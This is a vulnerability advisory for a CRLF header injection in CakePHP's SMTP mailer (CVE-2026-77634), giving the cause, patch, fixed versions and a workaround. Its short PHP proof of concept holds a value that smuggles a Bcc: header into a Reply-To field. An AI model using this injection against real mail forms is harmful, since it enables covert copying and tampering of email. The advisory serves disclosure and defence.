CVE-2026-77634: CakePHP SmtpTransport CRLF Header Injection
CakePHP's SMTP mailer passes user-supplied header values to the mail server without stripping carriage-return and line-feed characters, letting an attacker inject arbitrary email headers.

The problem
The SmtpTransport class builds outbound SMTP headers by concatenating values set via Message::setHeaders() or addHeaders() directly into the DATA stream.
Before 4.5.12, no sanitization was applied to custom header values. An attacker who controls any header value (for example, a user-submitted reply-to or a dynamically built X- header) can embed \r\n sequences to terminate the current header line and inject new ones, including Bcc:, Content-Type:, or body content.
Proof of concept
A working proof-of-concept for CVE-2026-77634 in cakephp/cakephp, with the exact payload below.
<?php
// Attacker controls $userInput, e.g. from a contact form "Reply-To" field.
$userInput = "attacker@evil.com\r\nBcc: victim@corp.com";
$mailer = new \Cake\Mailer\Mailer();
$mailer->setTo('recipient@example.com')
->setSubject('Hello')
->setHeaders(['Reply-To' => $userInput]) // CRLF not stripped pre-4.5.12
->deliver('Message body.');
// Raw SMTP DATA block produced (vulnerable versions):
// Reply-To: attacker@evil.com
// Bcc: victim@corp.com <-- injected header
// Subject: Hello
// ...SMTP header lines are delimited by \r\n. Because SmtpTransport wrote custom header values verbatim, an embedded \r\n in a value was interpreted by the receiving MTA as a new header line, not as part of the value.
The patch (commits 08188962, 2afe42b0, 3e09dae6, b67b6224) adds a sanitization step that strips or replaces \r, \n, and \r\n bytes from every custom header value before it is written to the socket. This is a classic CWE-93 (Improper Neutralization of CRLF Sequences) root cause: trusting caller-supplied data to be single-line without enforcing that invariant.
The fix
Upgrade to CakePHP 4.5.12 (or 4.6.5, 5.1.9, 5.2.14, 5.3.7). As a short-term workaround on older versions, strip CRLF bytes from any user-supplied value before passing it to setHeaders() or addHeaders(), for example: $value = str_replace(["\r\n", "\r", "\n"], '', $userInput);
Reported by Rotem Reiss and @unknownhad.
Related research
- criticalCVE-2026-77635CVE-2026-77635: CakePHP FunctionsBuilder::jsonValue() SQL Injection via PostgreSQL Driver
- critical · 9.8CVE-2026-84372CVE-2026-84372: predis/predis Redis Command Injection via CRLF Smuggling in Pipelined Commands
- high · 8.1CVE-2026-81525CVE-2026-81525: mongodb/mongodb PHP Library NoSQL Namespace Injection via Dot and NUL Bytes
- highCVE-2026-84361CVE-2026-84361: Composer OS Command Injection via Malicious Perforce Source URL